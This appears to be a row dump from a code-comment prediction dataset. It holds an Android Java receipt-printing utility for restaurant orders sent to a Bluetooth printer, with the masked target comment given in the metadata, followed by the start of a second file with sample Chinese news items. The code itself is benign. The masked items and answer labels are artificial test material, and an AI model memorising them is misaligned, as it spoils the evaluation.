float nn = Float.parseFloat(bean.getQuantity());
// double pp = bean.getPrice();
String su = SysUtils.priceFormat(Double.parseDouble(bean.getPrice()), false);
//数量
ret += getPrintRight(String.valueOf(bean.getQuantity()), 4);
//小计
ret += getPrintRight(su, 8);
if(!TextUtils.isEmpty(bean.getMenu_memo())) {
//属性
ret += getPrintLeft(bean.getMenu_memo(), length);
}
}
ret += getPrintChar("-", length);
// String sss = "" + payed;
// int sss_l = length - getWordCount(sss);
// ret += hasPay ? "已支付" : "未支付";
// ret += getPrintChar(" ", sss_l - 6);
// ret += sss;
// ret += "\r\n";
ret += getPrintChar("-", length);
//备注
orderRemark = orderRemark.replaceAll("<br/>","\r\n");
ret += getPrintLeft("备注:" + orderRemark, length);
ret += "\r\n";
// if (hasAddress) {
// ret += getPrintLeft(consignee + " " + mobile, length);
// ret += "\r\n";
// ret += getPrintLeft(address, length);
// ret += "\r\n";
// }
ret += getPrintChar("-", length);
// ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
ret += "\n\n";
return ret;
}
public static String getTestMsg() {
String index = "1";
String shippingStr = "配送";
String shopName ="xx餐厅";
String deskNo = "B11";
String shopTel ="13000000000";
String orderSn = "0026001";
String orderDate = "2015-02-13 11:11";
ArrayList<OrderGoods> goodsList = new ArrayList<OrderGoods>();
OrderGoods a = new OrderGoods();
a.setName("可口可乐");
a.setQuantity(4);
a.setPrice(10);
goodsList.add(a);
a = new OrderGoods();
a.setName("鲟龙鱼");
a.setQuantity(1);
a.setPrice(132);
goodsList.add(a);
a = new OrderGoods();
a.setName("蛏子");
a.setQuantity(1);
a.setPrice(28);
goodsList.add(a);
a = new OrderGoods();
a.setName("多春鱼");
a.setQuantity(1);
a.setPrice(28);
a.setAttr("大小: 大份, 味道: 不辣");
goodsList.add(a);
boolean hasPay = true;
double payed = 228.0;
String orderRemark = "订单备注";
boolean hasAddress = true;
String consignee = "王小二";
String mobile = "18900000000";
String address = "上海市黄浦区北京东路";
return getPrinterMsg(index,
shippingStr,
shopName,
deskNo,
shopTel,
orderSn,
orderDate,
goodsList,
hasPay,
payed,
orderRemark,
hasAddress,
consignee,
mobile,
address);
}
//打印在中间
public static String getPrintCenter(String title) {
String ret = "";
int shopNameLength = getWordCount(title);
int l = length - shopNameLength;
if(l > 0) {
int l_left = l / 2;
int l_right = l - l_left;
ret = getPrintChar(" ", l_left) + title + getPrintChar(" ", l_right);
}
// if(ret.length() > 0) {
// ret += "\n";
// }
return ret;
}
//打印在左边
public static String getPrintLeft(String title, int l) {
String ret = title;
int shopNameLength = getWordCount(title);
l -= shopNameLength;
if(l > 0) {
for(int i = 0; i < l; i++) {
ret += " ";
}
}
return ret;
}
public static String getPrintChar(String c, int length) {
String ret = "";
for(int i = 0; i < length; i++) {
ret += c;
}
return ret;
}
//打印在右边
public static String getPrintRight(String title, int l) {
return getPrintRight(title, " ", l);
}
public static String getPrintRight(String title, String ch, int l) {
String ret = "";
int shopNameLength = getWordCount(title);
l -= shopNameLength;
if(l > 0) {
for(int i = 0; i < l; i++) {
ret += ch;
}
}
ret += title;
return ret;
}
//表示是否连接上蓝牙打印机
private boolean hasConnect = false;
//尝试打开蓝牙
private final int REQUEST_ENABLE_BT = 2;
private BluetoothAdapter mBluetoothAdapter=null;
private BluetoothService mService=null;
private Activity context;
private String sellername ;
private String payed_time;
private String paystatus;
private String total_amount;
private String tel;
private String order_print_id;
private String order_print_mark;
private ArrayList<OrderGoods> goodsList ;
private Order order;
private int num1;
public PrintUtil(Activity context, String sellername, String payed_time, String paystatus, String total_amount, String tel, String order_print_id, ArrayList<OrderGoods> goodsList, Order order, int num1,String order_print_mark) {
this.context = context;
this.sellername = sellername;
this.payed_time = payed_time;
this.paystatus = paystatus;
this.total_amount = total_amount;
this.tel = tel;
this.order_print_id = order_print_id;
this.goodsList = goodsList;
this.order = order;
this.num1 = num1;
this.order_print_mark = order_print_mark;
startPrint(context,sellername,payed_time,paystatus,total_amount,
tel,order_print_id,goodsList,order,num1,order_print_mark);
}
//开始打印
public void startPrint(final Activity context, final String sellername, final String payed_time, final String paystatus, final String total_amount,
final String tel, final String order_print_id , final ArrayList<OrderGoods> goodsList , final Order order,
final int num1, final String order_print_mark) {
Handler mHandler = new Handler() {
@Override
public void handleMessage(android.os.Message msg) {
switch (msg.what) {
case BluetoothService.MESSAGE_STATE_CHANGE:
switch (msg.arg1) {
case BluetoothService.STATE_CONNECTED:
hasConnect = true;
doPrint(sellername, payed_time, paystatus, total_amount,
tel, order_print_id ,goodsList ,order,
num1,context, mService,order_print_mark);
break;
case BluetoothService.STATE_CONNECTING:
break;
case BluetoothService.STATE_LISTEN:
case BluetoothService.STATE_NONE:
break;
}
break;
case BluetoothService.MESSAGE_WRITE:
break;
case BluetoothService.MESSAGE_READ:
break;
case BluetoothService.MESSAGE_DEVICE_NAME:
break;
case BluetoothService.MESSAGE_TOAST:
SysUtils.showError(msg.getData().getString(BluetoothService.TOAST));
break;
}
}
};
mService = new BluetoothService(context, mHandler);
mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if (mBluetoothAdapter == null) {
SysUtils.showError("蓝牙不可用,无法设置打印机参数");
context.finish();
}
if(!hasConnect) {
//还没有连接,先尝试连接
if (!mBluetoothAdapter.isEnabled()) {
Intent enableIntent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE);
context.startActivityForResult(enableIntent, REQUEST_ENABLE_BT);
} else {
//尝试连接
try {
if(mService != null) {
BluetoothDevice printDev = mBluetoothAdapter.getRemoteDevice(KsApplication.getString("printer_mac", ""));
if(printDev == null) {
SysUtils.showError("连接打印机失败,请重新选择打印机");
//跳到设置界面
SysUtils.startAct(context, new PrintActivity());
} else {
mService.connect(printDev);
}
} else {
SysUtils.showError("请开启蓝牙并且靠近打印机");
}
} catch(Exception e) {
e.printStackTrace();
}
}
} else {
//已经连接了,直接打印
doPrint(sellername, payed_time, paystatus, total_amount,
tel, order_print_id ,goodsList ,order,
num1,context,mService,order_print_mark);
}
}
private void doPrint(String sellername, String payed_time, String paystatus, String total_amount,
String tel, String order_print_id , ArrayList<OrderGoods> goodsList ,Order order,
int num1,Activity activity,BluetoothService mService,String order_print_mark) {
//连接成功,开始打印,同时提交订单更新到服务器
String orderDate;
try {
String shopName =sellername;
if(payed_time.length()>13){
orderDate =payed_time;
}else {
orderDate = DateUtils.getDateTimeFromMillisecond(Long.parseLong( payed_time)*1000)+"";
}
boolean hasPay =Integer.parseInt(paystatus)> 0;
double payed = Double.parseDouble(total_amount);
String tmp = PrintUtil.getPrinterMsg(
"",
"",
shopName,
"",
tel,
order_print_id,
orderDate,
goodsList,
hasPay,
payed,
order_print_mark,
false,
"",
"",
""
);
String printMsg = "";
printMsg += tmp + "\n\n";
sendMessage(printMsg,num1,mService);
if(order.hasQrCode()) {
addQrCode(order.getQr_uri(),activity,mService);
}
} catch(Exception e) {
e.printStackTrace();
}
}
byte[] send;
private void sendMessage(String message,int num1,BluetoothService mService) {
if (mService.getState() != BluetoothService.STATE_CONNECTED) {
SysUtils.showError("蓝牙没有连接");
return;
}
if (message.length() > 0) {
// Get the message bytes and tell the BluetoothService to write
try {
send = message.getBytes("GB2312");
} catch (UnsupportedEncodingException e) {
send = message.getBytes();
}
//这只打印次数及打印间隔
for(int i=0;i<num1;i++) {
if(i==0){
mService.write(send);
}else {
// if(i<num1-1){
// SystemClock.sleep(5000);
handler.sendEmptyMessageDelayed(201,5000);
// }
}
}
}
}
private Handler handler=new Handler(){
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
mService.write(send);
}
};
private void addQrCode(final String uri, Activity activity, final BluetoothService mService) {
final String filePath = QRCodeUtil.getFileRoot(activity) + File.separator
+ "qr_" + System.currentTimeMillis() + ".jpg";
new Thread(new Runnable() {
@Override
public void run() {
boolean success = QRCodeUtil.createQRImage(uri, 360, 360, null, filePath);
if (success) {
new Thread(new Runnable() {
@Override
public void run() {
// imageView.setImageBitmap(BitmapFactory.decodeFile(filePath));
mService.printCenter();
sendMessage("扫码付款\n",0,mService);
sendMessage(BitmapFactory.decodeFile(filePath),mService);
sendMessage("\n\n\n",0,mService);
}
}).start();
}
}
}).start();
}
private void sendMessage(Bitmap bitmap,BluetoothService mService) {
// Check that we're actually connected before trying anything
if (mService.getState() != BluetoothService.STATE_CONNECTED) {
SysUtils.showError("蓝牙没有连接");
return;
}
// 发送打印图片前导指令
// byte[] start = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B,
// 0x40, 0x1B, 0x33, 0x00 };
// mService.write(start);
/**获取打印图片的数据**/
// byte[] send = getReadBitMapBytes(bitmap);
mService.printCenter();
byte[] draw2PxPoint = PicFromPrintUtils.draw2PxPoint(bitmap);
mService.write(draw2PxPoint);
// 发送结束指令
// byte[] end = { 0x1d, 0x4c, 0x1f, 0x00 };
// mService.write(end);
}
}
| 13616632061/ksApp | app/src/main/java/com/ui/util/PrintUtil.java | 5,927 | //订单号 | line_comment | zh-cn | package com.ui.util;
import android.app.Activity;
import android.bluetooth.BluetoothAdapter;
import android.bluetooth.BluetoothDevice;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Handler;
import android.os.Message;
import android.text.TextUtils;
import com.ui.entity.DeskTableOrder;
import com.ui.entity.Order;
import com.ui.entity.OrderGoods;
import com.MyApplication.KsApplication;
import com.ui.ks.PrintActivity;
import java.io.File;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.List;
public class PrintUtil {
private static int length = 32;
public static int getWordCount(String s) {
int length = 0 ;
for ( int i = 0 ; i < s.length(); i ++ )
{
int ascii = Character.codePointAt(s, i);
if (ascii >= 0 && ascii <= 255 )
length ++ ;
else
length += 2 ;
}
return length;
}
//得到收银小票的打印模板
public static String getScanCodePrinterMsg(
String shopName,
String order_id,
String orderDate,
boolean hasPay,
double payed
){
String ret = "";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
ret += "\r\n";
ret += "\r\n";
//订单 <SUF>
ret += getPrintCenter("订单号:" + order_id);
//下单时间
ret += getPrintCenter("下单时间:" + orderDate);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//名称
ret +="扫码收款";
int l1 = ss_l - getWordCount(shopName);
for(int j = 0; j < l1; j++) {
ret += " ";
}
int nn = 1;
double pp = payed;
String su = SysUtils.priceFormat(nn * pp, false);
//数量
ret += getPrintRight(String.valueOf(1), 16);
//小计
ret += getPrintRight(su, 8);
ret += "\r\n";
String sss = "" + payed;
int sss_l = length - getWordCount(sss);
ret += hasPay ? "已支付" : "未支付";
ret += getPrintChar(" ", sss_l - 6);
ret += sss;
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintLeft("备注:" , length);
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
return ret;
};
//得到收银小票的打印模板
public static String getcashPrinterMsg(
String shopName,
String order_id,
String orderDate,
boolean hasPay,
double payed,
String mark_text
){
String ret = "";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
ret += "\r\n";
ret += "\r\n";
//订单号
ret += getPrintCenter("订单号:" + order_id);
//下单时间
ret += getPrintCenter("下单时间:" + orderDate);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//名称
ret +="现金交易";
int l1 = ss_l - getWordCount(shopName);
for(int j = 0; j < l1; j++) {
ret += " ";
}
int nn = 1;
double pp = payed;
String su = SysUtils.priceFormat(nn * pp, false);
//数量
ret += getPrintRight(String.valueOf(1), 16);
//小计
ret += getPrintRight(su, 8);
ret += "\r\n";
String sss = "" + payed;
int sss_l = length - getWordCount(sss);
ret += hasPay ? "已支付" : "未支付";
ret += getPrintChar(" ", sss_l - 6);
ret += sss;
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintLeft("备注:"+mark_text , length);
ret += "\r\n";
ret += getPrintChar("-", length);
ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
return ret;
};
//得到收银小票的打印模板
public static String getPrinterMsg(String index,
String shippingStr,
String shopName,
String deskNo,
String shopTel,
String orderSn,
String orderDate,
ArrayList<OrderGoods> goodsList,
boolean hasPay,
double payed,
String orderRemark,
boolean hasAddress,
String consignee,
String mobile,
String address) {
String ret = "";
//抬头
ret += "----------";
ret += index;
int a = 32 - 20 - getWordCount(index) - getWordCount(shippingStr);
ret += getPrintChar(" ", a);
ret += shippingStr;
ret += "----------";
ret += "\r\n";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
if(!TextUtils.isEmpty(deskNo)) {
ret += "\r\n";
ret += getPrintCenter("桌号:" + deskNo);
}
ret += "\r\n";
ret += "\r\n";
//电话
ret += getPrintLeft("电话:" + shopTel,length);
// if(TextUtils.isEmpty(shopTel)){
// ret += "\n";
// }
//订单号
ret += getPrintLeft("订单号:" + orderSn,length);
//下单时间
ret += getPrintLeft("下单时间:" + orderDate,length);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//打印菜品
for(int i = 0; i < goodsList.size(); i++) {
OrderGoods bean = goodsList.get(i);
//名称
ret += bean.getName();
int l1 = ss_l - getWordCount(bean.getName());
for(int j = 0; j < l1; j++) {
ret += " ";
}
float nn = bean.getQuantity();
double pp = bean.getPrice();
String su = SysUtils.priceFormat(nn * pp, false);
//数量
ret += getPrintRight(String.valueOf(bean.getQuantity()), 4);
//小计
ret += getPrintRight(su, 8);
if(!TextUtils.isEmpty(bean.getAttr())) {
//属性
ret += getPrintLeft(bean.getAttr(), length);
}
}
ret += getPrintChar("-", length);
String sss = "" + payed;
int sss_l = length - getWordCount(sss);
ret += hasPay ? "已支付" : "未支付";
ret += getPrintChar(" ", sss_l - 6);
ret += sss;
ret += "\r\n";
ret += getPrintChar("-", length);
//备注
orderRemark = orderRemark.replaceAll("<br/>","\r\n");
ret += getPrintLeft("备注:" + orderRemark, length);
ret += "\r\n";
if (hasAddress) {
ret += getPrintLeft(consignee + " " + mobile, length);
ret += "\r\n";
ret += getPrintLeft(address, length);
ret += "\r\n";
}
ret += getPrintChar("-", length);
ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
return ret;
}
//得到收银小票的打印模板
public static String getPrinterDesk(String shopName, String deskNo, String orderSn,
String orderDate,String orderRemark,List<DeskTableOrder> goodsList) {
String ret = "";
//抬头
ret += "----------";
ret += "桌上点餐";
int a = 32 - 20 - getWordCount("桌上点餐");
ret += getPrintChar(" ", a);
ret += "----------";
ret += "\r\n";
//商家名称
ret += "\r\n";
shopName = getPrintCenter(shopName);
ret += shopName;
if(!TextUtils.isEmpty(deskNo)) {
ret += "\r\n";
ret += getPrintCenter("桌号:" + deskNo);
}
ret += "\r\n";
ret += "\r\n";
//电话
// ret += getPrintLeft("电话:" + shopTel,length);
// if(TextUtils.isEmpty(shopTel)){
// ret += "\n";
// }
//订单号
ret += getPrintLeft("订单号:" + orderSn,length);
//下单时间
ret += getPrintLeft("下单时间:" + orderDate,length);
ret += "\r\n";
//分隔符
ret += getPrintChar("-", length);
//商品列表
String ss = "数量 小计"; //12
int ss_l = length - getWordCount(ss);
ret += "名称";
ret += getPrintChar(" ", ss_l - 4);
ret += ss;
ret += getPrintChar("-", length);
//打印菜品
for(int i = 0; i < goodsList.size(); i++) {
DeskTableOrder bean = goodsList.get(i);
//名称
ret += bean.getName();
int l1 = ss_l - getWordCount(bean.getName());
for(int j = 0; j < l1; j++) {
ret += " ";
}
float nn = Float.parseFloat(bean.getQuantity());
// double pp = bean.getPrice();
String su = SysUtils.priceFormat(Double.parseDouble(bean.getPrice()), false);
//数量
ret += getPrintRight(String.valueOf(bean.getQuantity()), 4);
//小计
ret += getPrintRight(su, 8);
if(!TextUtils.isEmpty(bean.getMenu_memo())) {
//属性
ret += getPrintLeft(bean.getMenu_memo(), length);
}
}
ret += getPrintChar("-", length);
// String sss = "" + payed;
// int sss_l = length - getWordCount(sss);
// ret += hasPay ? "已支付" : "未支付";
// ret += getPrintChar(" ", sss_l - 6);
// ret += sss;
// ret += "\r\n";
ret += getPrintChar("-", length);
//备注
orderRemark = orderRemark.replaceAll("<br/>","\r\n");
ret += getPrintLeft("备注:" + orderRemark, length);
ret += "\r\n";
// if (hasAddress) {
// ret += getPrintLeft(consignee + " " + mobile, length);
// ret += "\r\n";
// ret += getPrintLeft(address, length);
// ret += "\r\n";
// }
ret += getPrintChar("-", length);
// ret += getPrintCenter("本地生活就选 易之星");
ret += "\n\n";
ret += "\n\n";
return ret;
}
public static String getTestMsg() {
String index = "1";
String shippingStr = "配送";
String shopName ="xx餐厅";
String deskNo = "B11";
String shopTel ="13000000000";
String orderSn = "0026001";
String orderDate = "2015-02-13 11:11";
ArrayList<OrderGoods> goodsList = new ArrayList<OrderGoods>();
OrderGoods a = new OrderGoods();
a.setName("可口可乐");
a.setQuantity(4);
a.setPrice(10);
goodsList.add(a);
a = new OrderGoods();
a.setName("鲟龙鱼");
a.setQuantity(1);
a.setPrice(132);
goodsList.add(a);
a = new OrderGoods();
a.setName("蛏子");
a.setQuantity(1);
a.setPrice(28);
goodsList.add(a);
a = new OrderGoods();
a.setName("多春鱼");
a.setQuantity(1);
a.setPrice(28);
a.setAttr("大小: 大份, 味道: 不辣");
goodsList.add(a);
boolean hasPay = true;
double payed = 228.0;
String orderRemark = "订单备注";
boolean hasAddress = true;
String consignee = "王小二";
String mobile = "18900000000";
String address = "上海市黄浦区北京东路";
return getPrinterMsg(index,
shippingStr,
shopName,
deskNo,
shopTel,
orderSn,
orderDate,
goodsList,
hasPay,
payed,
orderRemark,
hasAddress,
consignee,
mobile,
address);
}
//打印在中间
public static String getPrintCenter(String title) {
String ret = "";
int shopNameLength = getWordCount(title);
int l = length - shopNameLength;
if(l > 0) {
int l_left = l / 2;
int l_right = l - l_left;
ret = getPrintChar(" ", l_left) + title + getPrintChar(" ", l_right);
}
// if(ret.length() > 0) {
// ret += "\n";
// }
return ret;
}
//打印在左边
public static String getPrintLeft(String title, int l) {
String ret = title;
int shopNameLength = getWordCount(title);
l -= shopNameLength;
if(l > 0) {
for(int i = 0; i < l; i++) {
ret += " ";
}
}
return ret;
}
public static String getPrintChar(String c, int length) {
String ret = "";
for(int i = 0; i < length; i++) {
ret += c;
}
return ret;
}
//打印在右边
public static String getPrintRight(String title, int l) {
return getPrintRight(title, " ", l);
}
public static String getPrintRight(String title, String ch, int l) {
String ret = "";
int shopNameLength = getWordCount(title);
l -= shopNameLength;
if(l > 0) {
for(int i = 0; i < l; i++) {
ret += ch;
}
}
ret += title;
return ret;
}
//表示是否连接上蓝牙打印机
private boolean hasConnect = false;
//尝试打开蓝牙
private final int REQUEST_ENABLE_BT = 2;
private BluetoothAdapter mBluetoothAdapter=null;
private BluetoothService mService=null;
private Activity context;
private String sellername ;
private String payed_time;
private String paystatus;
private String total_amount;
private String tel;
private String order_print_id;
private String order_print_mark;
private ArrayList<OrderGoods> goodsList ;
private Order order;
private int num1;
public PrintUtil(Activity context, String sellername, String payed_time, String paystatus, String total_amount, String tel, String order_print_id, ArrayList<OrderGoods> goodsList, Order order, int num1,String order_print_mark) {
this.context = context;
this.sellername = sellername;
this.payed_time = payed_time;
this.paystatus = paystatus;
this.total_amount = total_amount;
this.tel = tel;
this.order_print_id = order_print_id;
this.goodsList = goodsList;
this.order = order;
this.num1 = num1;
this.order_print_mark = order_print_mark;
startPrint(context,sellername,payed_time,paystatus,total_amount,
tel,order_print_id,goodsList,order,num1,order_print_mark);
}
//开始打印
public void startPrint(final Activity context, final String sellername, final String payed_time, final String paystatus, final String total_amount,
final String tel, final String order_print_id , final ArrayList<OrderGoods> goodsList , final Order order,
final int num1, final String order_print_mark) {
Handler mHandler = new Handler() {
@Override
public void handleMessage(android.os.Message msg) {
switch (msg.what) {
case BluetoothService.MESSAGE_STATE_CHANGE:
switch (msg.arg1) {
case BluetoothService.STATE_CONNECTED:
hasConnect = true;
doPrint(sellername, payed_time, paystatus, total_amount,
tel, order_print_id ,goodsList ,order,
num1,context, mService,order_print_mark);
break;
case BluetoothService.STATE_CONNECTING:
break;
case BluetoothService.STATE_LISTEN:
case BluetoothService.STATE_NONE:
break;
}
break;
case BluetoothService.MESSAGE_WRITE:
break;
case BluetoothService.MESSAGE_READ:
break;
case BluetoothService.MESSAGE_DEVICE_NAME:
break;
case BluetoothService.MESSAGE_TOAST:
SysUtils.showError(msg.getData().getString(BluetoothService.TOAST));
break;
}
}
};
mService = new BluetoothService(context, mHandler);
mBluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if (mBluetoothAdapter == null) {
SysUtils.showError("蓝牙不可用,无法设置打印机参数");
context.finish();
}
if(!hasConnect) {
//还没有连接,先尝试连接
if (!mBluetoothAdapter.isEnabled()) {
Intent enableIntent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE);
context.startActivityForResult(enableIntent, REQUEST_ENABLE_BT);
} else {
//尝试连接
try {
if(mService != null) {
BluetoothDevice printDev = mBluetoothAdapter.getRemoteDevice(KsApplication.getString("printer_mac", ""));
if(printDev == null) {
SysUtils.showError("连接打印机失败,请重新选择打印机");
//跳到设置界面
SysUtils.startAct(context, new PrintActivity());
} else {
mService.connect(printDev);
}
} else {
SysUtils.showError("请开启蓝牙并且靠近打印机");
}
} catch(Exception e) {
e.printStackTrace();
}
}
} else {
//已经连接了,直接打印
doPrint(sellername, payed_time, paystatus, total_amount,
tel, order_print_id ,goodsList ,order,
num1,context,mService,order_print_mark);
}
}
private void doPrint(String sellername, String payed_time, String paystatus, String total_amount,
String tel, String order_print_id , ArrayList<OrderGoods> goodsList ,Order order,
int num1,Activity activity,BluetoothService mService,String order_print_mark) {
//连接成功,开始打印,同时提交订单更新到服务器
String orderDate;
try {
String shopName =sellername;
if(payed_time.length()>13){
orderDate =payed_time;
}else {
orderDate = DateUtils.getDateTimeFromMillisecond(Long.parseLong( payed_time)*1000)+"";
}
boolean hasPay =Integer.parseInt(paystatus)> 0;
double payed = Double.parseDouble(total_amount);
String tmp = PrintUtil.getPrinterMsg(
"",
"",
shopName,
"",
tel,
order_print_id,
orderDate,
goodsList,
hasPay,
payed,
order_print_mark,
false,
"",
"",
""
);
String printMsg = "";
printMsg += tmp + "\n\n";
sendMessage(printMsg,num1,mService);
if(order.hasQrCode()) {
addQrCode(order.getQr_uri(),activity,mService);
}
} catch(Exception e) {
e.printStackTrace();
}
}
byte[] send;
private void sendMessage(String message,int num1,BluetoothService mService) {
if (mService.getState() != BluetoothService.STATE_CONNECTED) {
SysUtils.showError("蓝牙没有连接");
return;
}
if (message.length() > 0) {
// Get the message bytes and tell the BluetoothService to write
try {
send = message.getBytes("GB2312");
} catch (UnsupportedEncodingException e) {
send = message.getBytes();
}
//这只打印次数及打印间隔
for(int i=0;i<num1;i++) {
if(i==0){
mService.write(send);
}else {
// if(i<num1-1){
// SystemClock.sleep(5000);
handler.sendEmptyMessageDelayed(201,5000);
// }
}
}
}
}
private Handler handler=new Handler(){
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
mService.write(send);
}
};
private void addQrCode(final String uri, Activity activity, final BluetoothService mService) {
final String filePath = QRCodeUtil.getFileRoot(activity) + File.separator
+ "qr_" + System.currentTimeMillis() + ".jpg";
new Thread(new Runnable() {
@Override
public void run() {
boolean success = QRCodeUtil.createQRImage(uri, 360, 360, null, filePath);
if (success) {
new Thread(new Runnable() {
@Override
public void run() {
// imageView.setImageBitmap(BitmapFactory.decodeFile(filePath));
mService.printCenter();
sendMessage("扫码付款\n",0,mService);
sendMessage(BitmapFactory.decodeFile(filePath),mService);
sendMessage("\n\n\n",0,mService);
}
}).start();
}
}
}).start();
}
private void sendMessage(Bitmap bitmap,BluetoothService mService) {
// Check that we're actually connected before trying anything
if (mService.getState() != BluetoothService.STATE_CONNECTED) {
SysUtils.showError("蓝牙没有连接");
return;
}
// 发送打印图片前导指令
// byte[] start = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B,
// 0x40, 0x1B, 0x33, 0x00 };
// mService.write(start);
/**获取打印图片的数据**/
// byte[] send = getReadBitMapBytes(bitmap);
mService.printCenter();
byte[] draw2PxPoint = PicFromPrintUtils.draw2PxPoint(bitmap);
mService.write(draw2PxPoint);
// 发送结束指令
// byte[] end = { 0x1d, 0x4c, 0x1f, 0x00 };
// mService.write(end);
}
}
| 0 |
15617_0 | package com.qad.demo.render;
import java.util.ArrayList;
import android.os.Bundle;
import com.qad.app.BaseListActivity;
import com.qad.demo.R.drawable;
import com.qad.demo.R.layout;
import com.qad.loader.ImageLoader;
import com.qad.loader.service.LoadServices;
import com.qad.render.RenderEngine;
public class Render2 extends BaseListActivity{
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ArrayList<RenderEntitiy2> entities=buildEntities();
RenderEngine.render(getListView(), layout.render2, entities,new ImageLoader(LoadServices.newHttpImageNoCache(me),getResources().getDrawable(drawable.icon)),null);
}
private ArrayList<RenderEntitiy2> buildEntities() {
ArrayList<RenderEntitiy2> entities=new ArrayList<RenderEntitiy2>();
entities.add(new RenderEntitiy2("", "德国14岁少年校园开枪射击 操场与警方对峙", "2012-05-23 11:16:00", "德国警方逮捕一名在校园内开枪射击的14岁少年。中新网5月23日电据外电报道,德国巴伐利亚州梅明根市一名14岁少年22日在校园内持枪射击,后遭到警方逮捕。据悉,该男孩当时在学校的操场内与警方对峙,还将枪指向自己威胁要自杀。报"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y1.ifengimg.com/news_spider/dci_2012/05/2752bf82d2c00a60b5a7f4349ae38ba5.jpg&w=100&h=-1&v=202f8241d0&r=1", "陈水扁戒护就医结束 医生:血块不是恶性肿瘤", "2012-05-23 15:03:00", "资料图:陈水扁。中新网5月23日电据台湾“中广新闻”报道,陈水扁今天(23日)前往林口长庚医院戒护就医,在中午诊疗结束,随后戒护返回台北监狱,受委托前往关心的台大医院柯文哲医生表示,有一些心血管阻塞的现象,不过还没有到临床上有生"));
entities.add(new RenderEntitiy2("", "广东广电局副局长:广电总局从来没有发过限娱令", "2012-05-23 15:55:37", "羊城晚报讯记者刘玮宁、通讯员陈燕舒、实习生秦雪星报道:22日上午,记者从广东省广电局上线省政风行风热线节目“民声热线”中了解到,2011年,广东省广播电影电视局受理观众对在境外电视节目中违规插播广告的投诉有253件。对此,有关负责人表示"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y3.ifengimg.com/abaae711ba7f5202/2012/0523/rdn_4fbc928337db6.jpg&w=100&h=-1&v=8a6c495e66&r=1", "毛泽东送毛岸英赴朝细节:很高兴将酒一饮而尽", "2012-05-23 15:33:44", "核心提示:豪爽的彭德怀亲见毛岸英的参军热情、又见毛泽东希望岸英能参军入伍,遂答应了他们父子俩的请求。那天,毛泽东兴致极高,竟将杯中酒一饮而尽,并连喝数杯。毛泽东饮酒照资料图本文摘自人民网作者:佚名原题为:毛泽东:“喝酒"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y3.ifengimg.com/7b28ede2da65d6e2/2012/0523/ori_4fbc9c0a5dcfd.jpeg&w=100&h=-1&v=15d34ccc55&r=1", "专家:水中含雌激素不奇怪 没必要担心", "2012-05-23 16:14:48", "漫画/陈春鸣据新华社电日前,一条称“自来水中含有避孕药”的微博引起网民热议。相关领域专家告诉记者,所谓“避孕药”的说法实属噱头,其实准确的说法应该是水里检测出雌激素成分。据专家解释,在合格水质下,雌激素的含量比较微量,不会对"));
entities.add(new RenderEntitiy2("", "长江流域进入汛期 海事部门严防船舶触礁搁浅", "2012-05-23 12:04:00", "宜昌港停泊囤船巳加长“跳船”应对水位上涨。 望作信 摄中新网宜昌5月23日电(望作信李麟)受近期长江流域连续强降雨和上游及各支流来水增多的双重影响,长江重庆至上海,各主要港口相继告别枯水位,长江干线结束长达七个月的枯水期,长江流"));
entities.add(new RenderEntitiy2("http://res01.mimg.ifeng.com/g?url=http://y1.ifengimg.com/news_spider/dci_2012/05/df48952462d1797b0b45decef5a9c7fd.jpg&w=100&h=-1&v=557e2dbaa2&r=1", "英一硕士投简历逾万次未果 背广告牌推销自己", "2012-05-23 14:41:46", "英国硕士罗宾·诺顿背广告牌推销自己(网页截图) 国际在线专稿:据英国《每日邮报》5月22日报道,英国一位硕士过去十年间投简历1.5万份,但却没有找到一份全职工作。他目前整天背着广告牌沿着公路行走,希望能够找到工作。这名硕士叫"));
entities.add(new RenderEntitiy2("", "张弛:“是中国人就转”的话语困境", "2012-05-23 13:57:42", "网上总有一些话,能让人看后长吁短叹又忍俊不禁,比如出镜率极高的“是中国人的就转”,又或者是它的孪生兄弟“不转不是中国人”。每每看到这句话,我在未点击鼠标左键之后都要掏出身份证来确认一下,看看它背后的“中华人民共和国”会不会易名改姓。只是"));
